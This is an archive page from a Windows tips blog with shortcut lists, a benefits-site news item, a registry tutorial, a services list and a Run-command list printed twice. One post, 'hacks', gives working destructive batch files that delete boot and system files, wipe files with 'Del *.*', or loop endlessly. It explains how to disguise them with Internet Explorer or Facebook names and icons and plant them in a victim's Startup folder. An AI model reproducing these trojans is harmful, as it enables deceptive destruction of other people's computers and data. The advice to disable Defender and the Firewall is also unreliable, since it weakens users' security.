Archive for the ‘XP’ Category

tv-300x2241

Download the PDF cheat sheet >Caintech.co.uk Windows Shortcuts You Should All Know To Save Time

 

Windows Explorer Keyboard Shortcuts

* END (Display the bottom of the active window)

* HOME (Display the top of the active window)

* NUM LOCK+Asterisk sign (*) (Display all of the subfolders that are under the selected folder)

* NUM LOCK+Plus sign (+) (Display the contents of the selected folder)

* NUM LOCK+Minus sign (-) (Collapse the selected folder)

* LEFT ARROW (Collapse the current selection if it is expanded, or select the parent folder)

* RIGHT ARROW (Display the current selection if it is collapsed, or select the first subfolder)

 

Shortcut Keys for Character Map

* After you double-click a character on the grid of characters, you can move through the grid by using the keyboard shortcuts:

* RIGHT ARROW (Move to the right or to the beginning of the next line)

* LEFT ARROW (Move to the left or to the end of the previous line)

* UP ARROW (Move up one row)

* DOWN ARROW (Move down one row)

* PAGE UP (Move up one screen at a time)

* PAGE DOWN (Move down one screen at a time)

* HOME (Move to the beginning of the line)

* END (Move to the end of the line)

* CTRL+HOME (Move to the first character)

* CTRL+END (Move to the last character)

* SPACEBAR (Switch between Enlarged and Nor mal mode when a character is selected)

 

Microsoft Management Console (MMC) Main Window Keyboard Shortcuts

* CTRL+O (Open a saved console)

* CTRL+N (Open a new console)

* CTRL+S (Save the open console)

* CTRL+M (Add or remove a console item)

* CTRL+W (Open a new window)

* F5 key (Update the content of all console windows)

* ALT+SPACEBAR (Display the MMC window menu)

* ALT+F4 (Close the console)

* ALT+A (Display the Action menu)

* ALT+V (Display the View menu)

* ALT+F (Display the File menu)

* ALT+O (Display the Favourites menu)

 

MMC Console Window Keyboard Shortcuts

* CTRL+P (Print the current page or active pane)

* ALT+Minus sign (-) (Display the window menu for the active console window)

* SHIFT+F10 (Display the Action shortcut menu for the selected item)

* F1 key (Open the Help topic, if any, for the selected item)

* F5 key (Update the content of all console windows)

* CTRL+F10 (Maximize the active console window)

* CTRL+F5 (Restore the active console window)

* ALT+ENTER (Display the Properties dialog box, if any, for the selected item)

* F2 key (Rename the selected item)

* CTRL+F4 (Close the active console window. When a console has only one console window, this shortcut closes the console)

 

Remote Desktop Connection Navigation

* CTRL+ALT+END (Open the Microsoft Windows NT Security dialog box)

* ALT+PAGE UP (Switch between programs from left to right)

* ALT+PAGE DOWN (Switch between programs from right to left)

* ALT+INSERT (Cycle through the programs in most recently used order)

* ALT+HOME (Display the Start menu)

* CTRL+ALT+BREAK (Switch the client computer between a window and a full screen)

* ALT+DELETE (Display the Windows menu)

* CTRL+ALT+Minus sign (-) (Place a snapshot of the active window in the client on the Terminal server clipboard and provide the same functionality as pressing PRINT SCREEN on a local computer.)

* CTRL+ALT+Plus sign (+) (Place a snapshot of the entire client window area on the Terminal server clipboard and provide the same functionality as pressing ALT+PRINT SCREEN on a local computer.)

 

Internet Explorer navigation

* CTRL+B (Open the Organize Favourites dialog box)

* CTRL+E (Open the Search bar)

* CTRL+F (Start the Find utility)

* CTRL+H (Open the History bar)

* CTRL+I (Open the Favourites bar)

* CTRL+L (Open the Open dialog box)

* CTRL+N (Start another instance of the browser with the same Web address)

* CTRL+O (Open the Open dialog box, the same as CTRL+L)

* CTRL+P (Open the Print dialog box)

* CTRL+R (Update the current Web page)

* CTRL+W (Close the current window)

tv crime2

Now as you read this post you may think to yourself that you would like to try these scripts, well I will warn you again ‘Never Try These Hacks On Your Computer’. The safest way to try these is in a virtual machine, I recommend VMware player or VirtualBox, both are free for personal use.

We will be creating some batch files so you will need to ‘Show hidden files, folders and drives’ also untick the box ‘Hide extensions for known file types’

To do this type ‘folder options’ into the windows search bar  and you’ll be presented with the following dialog box.

folder options

 

 1) Crash A Computer With A Simple Link

This is a simple java script called “exploit”. This script can hang or crash your computer. This script just floods you up with the infinite number mailto:xxx windows. To prevent this you need to end the process of script before it runs out of your RAM. This can only be done by rebooting your computer before it fully utilizes your RAM.

WARNING THIS LINK WILL CRASH YOUR BROWSER OR WORSE, YOUR COMPUTER !!!!

 Click Here. (http://tiny.cc/ibJUN)

 2) Make Countless Number Of Folders With A Single Click

A simple 3 line code can be very dangerous and also quite funny. So paste the below code in notepad and save it as IE.bat

@echo off

:top

md %random%

goto top

@echo off > this command makes your screen appears blank but actually making the countless number of folders in the background

Md %random% > md %random% is a command for creating folders with random names. ( md is a command in dos for making directories)

Goto top > goto top is a command for to send the control to :top causing an infinite loop.

To make this more enticing drop the batch file on the C drive and create a shortcut on the desktop. Now right click on the shortcut and select ‘Properties’

Now select ‘Change Icon’ and browse to C:\Program Files\Internet Explorer\iexplore.exe

This has now given you an Internet Explorer icon that will execute the malicious batch file, delete the original IE icon from the desktop.

 

3) Shut Down Your PC For Ever

This is the most malicious hack, this will delete ALL system files and will stop the victims PC from booting.

To perform this copy the below text to a text file and save it as ‘Shutdown.bat’

You can always do the same as the above hack and copy it to the victims PC and send a shortcut to the desktop.

@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini

DON’T RUN THE BATCH FILE, YOU WONT BE ABLE TO RECOVER AFTER YOU RUN IT!!!

 4) RAM Crashing Trick.

Open notepad and type the following codes

:A

Start http://www.facebook.com

Goto A

save the file as facebook.bat

 This code will infinitely loop the browser to open http://www.facebook.com

5) Delete ALL System Files With Just 6 Character Command

Copy the following command in your notepad and save it as facebook.bat

Del *.*

So when the victim runs this file all the data will be deleted.

If you have access to the victims PC you can drop any of these batch files in a folder called ‘Start up’ this will then run when the user restarts their machine.

C:\Users\VICTIMS NAME\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

These are for educational purposes only, please do not use this information for malicious purposes. Caintech.co.uk take no responsibility for the actions of any individuals however feedback would be most appreciated.

 

tv-IE9

THE UK GOVERNMENT has shown it’s at the forefront of modern technology and online services with its latest form for claiming benefits online.

Those who want to claim Attendance Allowance, Disability Living Allowance or Overseas State Pension can simply visit the Gov.UK website, where they are then pointed to the Department of Work and Pensions (DWP) website to fill out a form online.

So far, so impressive, in that the government is allowing citizens to apply for benefits over the web, rather than having to fill out forms and send them in via the post or visit offices in person.

However, it seems that many of those claimants could fall at the first hurdle due to some rather outdated stipulations about the computer systems supported by the DWP.

“This service doesn’t work with some modern browsers and operating systems,” the DWP notes. “We are considering how best to provide this service in future. You may want to claim in another way.”

That is putting it mildly. Normally, we’d take the time to go through these system requirements and highlight only the most interesting points, but in this case we’ve decided to make an exception and post them here in their full glory, as we couldn’t word them better than the DWP.

“The service does not work properly with Macs or other Unix-based systems even though you may be able to input information.

“You are likely to have problems if you use Internet Explorer 7, 8, 9 and 10, Windows Vista or a smartphone. Clearing temporary internet files may help but you may wish to claim in another way.

“There is also a high risk that if you use browsers not listed below, including Chrome, Safari or Firefox, the service will not display all the questions you need to answer. This is likely to prevent you from successfully completing or submitting the form. You may wish to claim in another way.”

And now on to the much more restricted list of what your computer needs to be running if you actually want to claim a benefit online.

“The service was designed to work with the following operating systems and browsers. Many of these are no longer available:

  • Microsoft Windows 98: Internet Explorer versions 5.0.1, 5.5 and 6.0, Netscape 7.2
  • Microsoft Windows ME: Internet Explorer version 5.5 and 6.0, Netscape 7.2
  • Microsoft Windows 2000: Internet Explorer version 5.0.1, 5.5 and 6.0, Netscape 7.2, Firefox 1.0.3, Mozilla 1.7.7
  • Microsoft Windows XP: Internet Explorer 6.0, Netscape 7.2, Firefox 1.0.3, Mozilla 1.7.7.”

For the few of you out there wanting to claim benefits online who manage to dig out some old Windows machine from a basement or loft running an old enough version of IE or Firefox, there are further obstacles to getting any money out of the government.

“This service is not available on Monday, Wednesday and Friday mornings from 1.00am to 1.30am because of essential maintenance work. We apologise for any inconvenience,” warns the DWP.

Perhaps that’s when their hamsters change shifts – you know, the ones that run inside wheels keeping government IT systems up and running.

We often speculate here at The INQUIRER that the government favours proprietary systems, and doesn’t do enough to open up bid tenders to smaller suppliers and open source outfits. On the basis of the above evidence, we’re concerned that the government is taking its mission to extremes.

Caintech.co.uk Please Note: Please ensure that you Back-up your Registry before attempting to modify it in anyway just in case you make a mistake. Here’s how:

  1. Depending on your version of Windows, do one of the following:
    • For Windows XP: Click Start > Run.
    • For Windows 7 or Vista: Click the Start button, and then click All Programs > Accessories > Run.
  2. In the Run dialog box, type the following text:

    regedit

  3. Click OK.

    If the User Account Control window appears, click Continue.

  4. On the File menu, click Export.
  5. In the File name box, type a name that you will remember, such as Registry Backup.
  6. Select a location where you want to save the Registration Entries (.reg) file, I suggest your desktop.
  7. Click Save.

Ok now that has been done lets get into the real technical stuff.

Changing the Default Installation Path in Windows 7 isn’t all that difficult, we all know that our Default Installation Path is C:\Program Files but if you want to change this to another Drive so that will become the Default Path for all new program Installations you can with a few clicks in the registry editor.

Ok for X64 Version User’s this simply Copy and Paste the following into the Run Box

%systemroot%\syswow64\regedit

For X32 Version User’s Go to Start and in the Search Box type in Regedit and Hit Enter to Open the Registry Editor

Now the Registry Editor will open

  • Ok now locate the following:- HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ CurrentVersion

Now you will see that I have marked out the ProgramFilesDir for the X32 Version and ProgramW6432Dir the X64 Version and the reason for this you will need to change both if you are running a X64 Version.

So, If you have the X32 Version of Windows then choose the ProgramFileDir x86 path by Right Clicking and then Selecting Modify.

Then simply change the Drive Letter and Path to where you want to Install your Programs then Click OK

  • For X32 Version user’s, that it for you all done!

So, If you have the X64 Version of Windows then choose and Modify both ProgramFileDir x86 and ProgramW6432Dir path by Right Clicking and then Selecting Modify.

Then simply change the Drive Letter and Path to where you want to Install your Programs then Click OK

Now if you have messed it up and when you reboot your machine you get errors, a simple way to revert back to the previous version of the registry is to:

Reboot the machine  keep tapping F8 this will take you into ‘Safe Mode’

When the desktop boots double click on the .reg file you made earlier in this tutorial and when prompted with a warnig (as below) press ‘Yes’

Reboot and now you are back to how your registry was before you started (now print this tutorial out and try again)

 

Every day I hear the words “My machine is running slow, can you help” (not always that polite). But never the less the answer is always ‘Yes’.

People understand that running disk clean up and defragging their machine will help keep their machine up to speed. But one thing that users are a bit apprehensive about  (and quite rightly so) is turning off Windows services in the fear that they will break something, so here is a list of safe services to turn off and how to do it.

Disable unnecessary Windows services to free up CPU and RAM usage, speed up boot and start up time. This procedure is very easy, just follow my steps correctly.

Click start, run, and type “services.msc”. And the services window will show up.

Now you are on the services page, just double click the service you want to disable and this window will show up. (Don’t worry keep reading there is a list of services soon)

Now here is the list of Windows services that are safe to disable.

  • Application Experience
  • Block Level Backup Engine Service
  • Certificate Propagation
  • IP Helper
  • Portable Device Enumerator Service
  • Distributed Link Tracking Client
  • Protected Storage
  • Portable Device Enumerator Service
  • Secondary Logon
  • Software Protection
  • Server
  • Tablet PC Input Service
  • TCP/IP NetBIOS Helper
  • Windows Media Center Service Launcher
  • Windows Search
  • Remote Registry
  • Windows Time

Windows services that are safe to disable if…

  • Desktop Windows Manager Session Manager (if you are on a Netbook)
  • Diagnostic Policy Service (if you don’t use the troubleshooter)
  • Error Reporting Service
  • HomeGroup Listener (No Homegroup sharing)
  • HomeGroup Provider (No HomeGroup sharing)
  • Offline files
  • Print Spooler (if you don have a printer)
  • SSDP Discovery (No HomeGroup sharing)
  • Themes ( if you are on a Netbook)
  • Windows Defender (If you have an Antivirus installed)
  • Windows Firewall (Firewall installed)
  • Windows Image Acquisition (if you don’t have any imaging devices ie., camera, scanners)
  • Windows Media Player Network Sharing Services (No Homegroup sharing)

Disabling unwanted Windows services will eventually speed up your PC, prevent application crashes, frees up RAM and lowers CPU congestion.

While you are doing this if you see services you are not sure of just drop a request in the comments bellow and I’ll tell you if it is safe to disable.

 

Microsoft DOS is a command line user interface first introduced in 1981 for IBM computers and was last updated in 1994 when MS-DOS 6.22 was released. Although MS-DOS is not commonly used today, the command shell used through Microsoft Windows is. This post contains some most used and wanted windows Dos Commands and as any power user will tell you they are the quickest way to open programs. Also as this is quite a long list post that you may want to review later, I have created a PDF to download> Power User DOS Commands for XP Vista and Windows 7

Control Panel

  • CONTROL: opens the control panel window
  • CONTROL ADMINTOOLS: opens the administrative tools
  • CONTROL KEYBOARD: opens keyboard properties
  • CONTROL COLOUR: opens display properties. Appearance tab
  • CONTROL FOLDERS: opens folder options
  • CONTROL FONTS: opens font policy management
  • CONTROL INTERNATIONAL or INTL.CPL: opens Regional and Language option
  • CONTROL MOUSE or MAIN.CPL: opens mouse properties
  • CONTROL USERPASSWORDS: opens User Accounts editor
  • CONTROL USERPASSWORDS2 or NETPLWIZ: User account access restrictions
  • CONTROL PRINTERS: opens faxes and printers available
  • APPWIZ.CPL: opens Add or Remove programs utility tool
  • OPTIONALFEATURES: opens Add or Remove Windows component utility
  • DESK.CPL: opens display properties. Themes tab
  • HDWWIZ.CPL: opens add hardware wizard
  • IRPROPS.CPL: infrared utility tool
  • JOY.CP: opens game controllers settings
  • MMSYS.CPL: opens Sound and Audio device Properties. Volume tab
  • SYSDM.CPL: opens System properties
  • TELEPHON.CPL: Opens phone and Modem options
  • TIMEDATE.CPL: Date and Time properties
  • WSCUI.CPL: opens Windows Security Centre
  • ACCESS.CPL: opens Accessibility Options
  • WUAUCPL.CPL: opens Automatic Updates
  • POWERCFG.CPL: opens Power Options Properties
  • AZMAN.MSC: opens authorisation management utility tool
  • CERTMGR.MSC: opens certificate management tool
  • COMPMGMT.MSC: opens the Computer management tool
  • COMEXP.MSC or DCOMCNFG: opens the Computer Services management tool
  • DEVMGMT.MSC: opens Device Manager
  • EVENTVWR or EVENTVWR.MSC: opens Event Viewer
  • FSMGMT.MSC: opens Shared Folders
  • NAPCLCFG.MSC: NAP Client configuration utility tool
  • SERVICES.MSC: opens Service manager
  • TASKSCHD.MSC or CONTROL SCHEDTASKS: opens Schedule Tasks manager
  • GPEDIT.MSC: opens Group Policy utility tool
  • LUSRMGR.MSC: opens Local Users and Groups
  • SECPOL.MSC: opens local security settings
  • CIADV.MSC: opens indexing service
  • NTMSMGR.MSC: removable storage manager
  • NTMSOPRQ.MSC: removable storage operator requests
  • WMIMGMT.MSC: opens (WMI) Window Management Instrumentation
  • PERFMON or PERFMON.MSC: opens the Performance monitor
  • MMC: opens empty Console
  • MDSCHED: opens memory diagnostics tools
  • DXDIAG: opens DirectX diagnostics tools
  • ODBCAD32: opens ODBC Data source Administrator
  • REGEDIT or REGEDT32: opens Registry Editor
  • DRWTSN32: opens Dr. Watson (XP not supported in Vista or Windows 7)
  • VERIFIER: opens Driver Verifier Manager
  • CLICONFG: opens SQL Server Client Network Utility
  • UTILMAN: opens Utility Manager
  • COLORCPL: opens colour management
  • CREDWIZ: back-up and recovery tool for user passwords
  • MOBSYNC: opens Synchronization centre
  • MSCONFIG: opens System Configuration Utility
  • SYSEDIT: opens System Configuration Editor (careful while using this command)
  • SYSKEY: Windows Account Database Security management (careful while using this command)

Windows utility and applications

  • EXPLORER: Opens windows Explorer
  • IEXPLORER: Opens Internet explorer
  • WAB: opens Contacts
  • CHARMAP: opens Character Map
  • WRITE: opens WordPad
  • NOTEPAD: opens Notepad
  • CALC: opens Calculator
  • CLIPBRD: opens Clipbook Viewer
  • WINCHAT: opens Microsoft Chat Interface
  • SOUNDRECORDER: opens sound recording tool
  • DVDPLAY: run CD or DVD
  • WMPLAYER: opens Windows Media Player
  • MOVIEMK: Opens untitled Windows Movie Maker
  • OSK: opens on-screen Keyboard
  • MAGNIFY: opens Magnifier
  • WINCAL: opens Calendar
  • DIALER: opens phone Dialler
  • EUDCEDIT: opens Private Character Editor
  • NDVOL: opens the mixer volume
  • %WINDIR%\SYSTEM32\RESTORE\rstrui.exe: opens Tool System Restore (for XP only).
  • MSINFO32: Opens the System Information
  • MRT : launches the utility removal of malware.
  • Taskmgr : Opens the Windows Task Manager
  • CMD: opens a command prompt
  • MIGWIZ: Opens the tool for transferring files and settings from Windows (Windows 7/Vista only)
  • Migwiz.exe: Opens the tool for transferring files and settings from Windows (for XP only)
  • Sigverif : Opens the tool for verification of signatures of files
  • Winver : Opens the window for your Windows version
  • FSQUIRT: Bluetooth Transfer Wizard
  • IExpress opens the wizard for creating self-extracting archives. Tutorial HERE
  • MBLCTR: opens the mobility centre (Windows 7/Vista only)
  • MSRA : Opens the Windows Remote Assistance
  • Mstsc : opens the tool connection Remote Desktop
  • MSDT: opens the diagnostic tools and support Microsoft
  • WERCON: opens the reporting tool and solutions to problems (for Vista only)
  • WINDOWSANYTIMEUPGRADE: Enables the upgrade of Windows Vista
  • WINWORD : opens Word (if installed)
  • RSTRUI : opens Tool System Restore (Windows 7/Vista only)
  • PRINTBRMUI : Opens migration wizard printer (Windows 7/Vista only)

Disk management

  • DISKMGMT.MSC: opens disk management utility
  • CLEANMGR: opens disk drive clean up utility
  • DFRG.MSC: opens disk defragmenter
  • CHKDSK: complete analysis of disk partition
  • DISKPART: disk partitioning tool

Connection management

  • IPCONFIG: list the configuration of IP addresses on your PC (for more information type IPCONFIG/? in the CMD menu)
  • INETCPL.CPL: opens internet properties
  • FIREWALL.CPL: opens windows firewall
  • NETSETUP.CPL: opens network setup wizard

Miscellaneous commands

  • JAVAWS: View the cover of JAVA software (if installed)
  • AC3FILTER.CPL: Opens the properties AC3 Filter (if installed)
  • FIREFOX: Mozilla launches Firefox (if installed)
  • NETPROJ: allow or not connecting to a network projector (Windows 7/Vista only)
  • LOGOFF: closes the current session
  • SHUTDOWN: shut down Windows
  • SHUTDOWN-A: to interrupt Windows shutdown
  • %WINDIR% or %SYSTEMROOT%: opens the Windows installation
  • %PROGRAMFILES%: Opens the folder where you installed other programs (Program Files)
  • %USERPROFILE%: opens the profile of the user currently logged
  • %HOMEDRIVE%: opens the browser on the partition or the operating system is installed
  • %HOMEPATH%: opens the currently logged user C: \ Documents and Settings \ [username]
  • %TEMP%: opens the temporary folder
  • VSP1CLN: deletes the cache for installation of the service pack 1 for Vista
  • System File Checker (Requires Windows CD if the cache is not available):
    • SFC / scannow: immediately scans all system files and repairs damaged files
    • SFC / VERIFYONLY: scans only those files system
    • SFC / Scanfil = “name and file path”: scans the specified file, and repaired if damaged
    • SFC / VERIFYFILE = “name and file path”: Scans only the file specified
    • SFC / scanonce: scans the system files on the next restart
    • SFC / REVERT: return the initial configuration (For more information, type SFC /? In the command prompt CMD.

Control Panel

  • CONTROL: opens the control panel window
  • CONTROL ADMINTOOLS: opens the administrative tools
  • CONTROL KEYBOARD: opens keyboard properties
  • CONTROL COLOUR: opens display properties. Appearance tab
  • CONTROL FOLDERS: opens folder options
  • CONTROL FONTS: opens font policy management
  • CONTROL INTERNATIONAL or INTL.CPL: opens Regional and Language option
  • CONTROL MOUSE or MAIN.CPL: opens mouse properties
  • CONTROL USERPASSWORDS: opens User Accounts editor
  • CONTROL USERPASSWORDS2 or NETPLWIZ: User account access restrictions
  • CONTROL PRINTERS: opens faxes and printers available
  • APPWIZ.CPL: opens Add or Remove programs utility tool
  • OPTIONALFEATURES: opens Add or Remove Windows component utility
  • DESK.CPL: opens display properties. Themes tab
  • HDWWIZ.CPL: opens add hardware wizard
  • IRPROPS.CPL: infrared utility tool
  • JOY.CP: opens game controllers settings
  • MMSYS.CPL: opens Sound and Audio device Properties. Volume tab
  • SYSDM.CPL: opens System properties
  • TELEPHON.CPL: Opens phone and Modem options
  • TIMEDATE.CPL: Date and Time properties
  • WSCUI.CPL: opens Windows Security Centre
  • ACCESS.CPL: opens Accessibility Options
  • WUAUCPL.CPL: opens Automatic Updates
  • POWERCFG.CPL: opens Power Options Properties
  • AZMAN.MSC: opens authorisation management utility tool
  • CERTMGR.MSC: opens certificate management tool
  • COMPMGMT.MSC: opens the Computer management tool
  • COMEXP.MSC or DCOMCNFG: opens the Computer Services management tool
  • DEVMGMT.MSC: opens Device Manager
  • EVENTVWR or EVENTVWR.MSC: opens Event Viewer
  • FSMGMT.MSC: opens Shared Folders
  • NAPCLCFG.MSC: NAP Client configuration utility tool
  • SERVICES.MSC: opens Service manager
  • TASKSCHD.MSC or CONTROL SCHEDTASKS: opens Schedule Tasks manager
  • GPEDIT.MSC: opens Group Policy utility tool
  • LUSRMGR.MSC: opens Local Users and Groups
  • SECPOL.MSC: opens local security settings
  • CIADV.MSC: opens indexing service
  • NTMSMGR.MSC: removable storage manager
  • NTMSOPRQ.MSC: removable storage operator requests
  • WMIMGMT.MSC: opens (WMI) Window Management Instrumentation
  • PERFMON or PERFMON.MSC: opens the Performance monitor
  • MMC: opens empty Console
  • MDSCHED: opens memory diagnostics tools
  • DXDIAG: opens DirectX diagnostics tools
  • ODBCAD32: opens ODBC Data source Administrator
  • REGEDIT or REGEDT32: opens Registry Editor
  • DRWTSN32: opens Dr. Watson (XP not supported in Vista or Windows 7)
  • VERIFIER: opens Driver Verifier Manager
  • CLICONFG: opens SQL Server Client Network Utility
  • UTILMAN: opens Utility Manager
  • COLORCPL: opens colour management
  • CREDWIZ: back-up and recovery tool for user passwords
  • MOBSYNC: opens Synchronization centre
  • MSCONFIG: opens System Configuration Utility
  • SYSEDIT: opens System Configuration Editor (careful while using this command)
  • SYSKEY: Windows Account Database Security management (careful while using this command)

Windows utility and applications

  • EXPLORER: Opens windows Explorer
  • IEXPLORER: Opens Internet explorer
  • WAB: opens Contacts
  • CHARMAP: opens Character Map
  • WRITE: opens WordPad
  • NOTEPAD: opens Notepad
  • CALC: opens Calculator
  • CLIPBRD: opens Clipbook Viewer
  • WINCHAT: opens Microsoft Chat Interface
  • SOUNDRECORDER: opens sound recording tool
  • DVDPLAY: run CD or DVD
  • WMPLAYER: opens Windows Media Player
  • MOVIEMK: Opens untitled Windows Movie Maker
  • OSK: opens on-screen Keyboard
  • MAGNIFY: opens Magnifier
  • WINCAL: opens Calendar
  • DIALER: opens phone Dialler
  • EUDCEDIT: opens Private Character Editor
  • NDVOL: opens the mixer volume
  • %WINDIR%\SYSTEM32\RESTORE\rstrui.exe: opens Tool System Restore (for XP only).
  • MSINFO32: Opens the System Information
  • MRT : launches the utility removal of malware.
  • Taskmgr : Opens the Windows Task Manager
  • CMD: opens a command prompt
  • MIGWIZ: Opens the tool for transferring files and settings from Windows (Windows 7/Vista only)
  • Migwiz.exe: Opens the tool for transferring files and settings from Windows (for XP only)
  • Sigverif : Opens the tool for verification of signatures of files
  • Winver : Opens the window for your Windows version
  • FSQUIRT: Bluetooth Transfer Wizard
  • IExpress opens the wizard for creating self-extracting archives. Tutorial HERE
  • MBLCTR: opens the mobility centre (Windows 7/Vista only)
  • MSRA : Opens the Windows Remote Assistance
  • Mstsc : opens the tool connection Remote Desktop
  • MSDT: opens the diagnostic tools and support Microsoft
  • WERCON: opens the reporting tool and solutions to problems (for Vista only)
  • WINDOWSANYTIMEUPGRADE: Enables the upgrade of Windows Vista
  • WINWORD : opens Word (if installed)
  • RSTRUI : opens Tool System Restore (Windows 7/Vista only)
  • PRINTBRMUI : Opens migration wizard printer (Windows 7/Vista only)

Disk management

  • DISKMGMT.MSC: opens disk management utility
  • CLEANMGR: opens disk drive clean up utility
  • DFRG.MSC: opens disk defragmenter
  • CHKDSK: complete analysis of disk partition
  • DISKPART: disk partitioning tool

Connection management

  • IPCONFIG: list the configuration of IP addresses on your PC (for more information type IPCONFIG/? in the CMD menu)
  • INETCPL.CPL: opens internet properties
  • FIREWALL.CPL: opens windows firewall
  • NETSETUP.CPL: opens network setup wizard

Miscellaneous commands

  • JAVAWS: View the cover of JAVA software (if installed)
  • AC3FILTER.CPL: Opens the properties AC3 Filter (if installed)
  • FIREFOX: Mozilla launches Firefox (if installed)
  • NETPROJ: allow or not connecting to a network projector (Windows 7/Vista only)
  • LOGOFF: closes the current session
  • SHUTDOWN: shut down Windows
  • SHUTDOWN-A: to interrupt Windows shutdown
  • %WINDIR% or %SYSTEMROOT%: opens the Windows installation
  • %PROGRAMFILES%: Opens the folder where you installed other programs (Program Files)
  • %USERPROFILE%: opens the profile of the user currently logged
  • %HOMEDRIVE%: opens the browser on the partition or the operating system is installed
  • %HOMEPATH%: opens the currently logged user C: \ Documents and Settings \ [username]
  • %TEMP%: opens the temporary folder
  • VSP1CLN: deletes the cache for installation of the service pack 1 for Vista
  • System File Checker (Requires Windows CD if the cache is not available):
    • SFC / scannow: immediately scans all system files and repairs damaged files
    • SFC / VERIFYONLY: scans only those files system
    • SFC / Scanfil = “name and file path”: scans the specified file, and repaired if damaged
    • SFC / VERIFYFILE = “name and file path”: Scans only the file specified
    • SFC / scanonce: scans the system files on the next restart
    • SFC / REVERT: return the initial configuration (For more information, type SFC /? In the command prompt CMD.

 

According to the latest results of the market share of desktop operating system in the U.S. in April 2011 compiled by StatCounter, you see people as they are finally leaving Windows XP back and get an upgrade to Windows 7. For the first time since he became the most popular operating system around, the share of Windows XP in the market has been superseded by Windows 7.

Windows 7 is now used in 31.71% of computers in the U.S., while Windows XP has been reduced to 31.56%. Now luck is not an advantage, but show that Windows XP has finally peaked and is on track now. Windows Vista is in third place with 19.07%, Mac OS X in fourth place with 14.87%, Linux is the last to 0.70% and other operating systems make up 2.09% number of the letter. Makes you wonder if there are users in Windows 3.1 still there. How many of you have yet to upgrade to Windows 7 from XP or Vista?